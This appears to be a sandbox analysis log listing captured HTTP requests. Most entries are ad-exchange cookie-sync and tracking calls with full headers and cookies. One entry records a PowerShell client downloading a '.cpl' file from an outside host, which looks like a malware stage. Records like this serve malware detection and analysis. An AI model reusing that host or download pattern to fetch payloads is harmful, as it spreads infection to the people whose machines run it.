Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=fff333a6-de39-4d86-ac69-1c4d6dbcef67%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=12776 HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=typeaholdings&zcc=1&cb=1739863221701 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tap.php?v=223352&nid=4584&put=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=undertone&gdpr=&gdpr_consent=&us_privacy=1-N-&gpp=&gpp_sid=&f=b&uid=8m8v76l5efj7sum1f3zxvnakf HTTP/1.1Host: s2s.t13.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: uids=eyJ0ZW1wVUlEcyI6eyJheG9uaXgiOnsidWlkIjoiYjRiNjhkNjMtOGU4Ni00NTBjLWIzYWYtODczNTg4NmU0NjhmIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuNTA0MDE2MjY3WiJ9LCJ1bnJ1bHlmc3giOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTEuMzQyMTQyMjI0WiJ9LCJ1bnJ1bHkiOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuMjA3NzM2ODI1WiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /match?proxied=121&proxied_cookie_name=admtr&proxied_match_url=https%3A%2F%2Fcs.admanmedia.com%2Fad78321e103d19bf85068e7bf407c77f.gif%3Fredir%3Dhttps%253A%252F%252Fssc-cms.33across.com%252Fps%252F%253Fxi%253D121%2526xu%253D%255BUID%255D HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match?proxied=126&proxied_cookie_name=mf_u_key&proxied_match_url=https%3A%2F%2Fcs.mobfox.com%2F4601c426c7c74dd7172eb80111ccb2bf.gif HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match?proxied=112&proxied_match_url=https%3A%2F%2Frtb.mfadsrvr.com%2Fsync%3Fssp%3Dthe33across%26ssp_user_id%3D%26channel%3D3S%26us_privacy%3D1-N- HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /i/882/8.gif?o=api&id5id=ID5wPOzBjKabPwW3nTzoCycslSIH9T6Lp7ePxZHzeKFVDj6ZfEiBpXeV1LqQWnzXueB&gdpr_consent=undefined&gdpr=false&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6 HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /?gdpr=0&gdpr_consent=&pubid=11362&redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11571%26id%3D%7Bdevice_id%7D HTTP/1.1Host: csync.loopme.meConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=onetag&ssp_user_id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/882/0/8/1.gif?gdpr=0&gdpr_consent=&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /stein/ncpa.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: xspacet.wikiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=onetag_eb&gdpr=0&gdpr_consent=&google_cm HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=vidazoo&us_privacy=1-N-&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11609&id=807172044cfaebc9e3174de85414f573 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=5&gdpr=0&gdpr_consent=&us_privacy=&redirectUri=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D107%26uid%3D[ssb_sync_pid] HTTP/1.1Host: ssbsync-global.smartadserver.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=115667&uid=4d0a2efd-dae2-4568-862f-38e40678fc86 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?aid=11600&id=5542369023724132487&gdpr=0&gdpr_consent= HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /match/?int_id=106&redir=1&ot_initiated=1&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/usync/?gdpr=0&gdpr_consent=&pubId=69f48c2160c8113Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11607%26uid%3D%24UID HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=113&gdpr=0&gdpr_consent=&callback=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Donetag.com%26id%3D%24%7BUSER_TOKEN%7D&ot_initiated=1 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/usync/?gdpr=0&gdpr_consent=&pubId=69f48c2160c8113Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /usersync/disqus?cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB&gdpr=0&gdpr_consent=&puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&s=2&us_privacy= HTTP/1.1Host: b1sync.outbrain.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D164%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%5BUID%5D&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&ccpa=&coppa= HTTP/1.1Host: cs.admanmedia.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
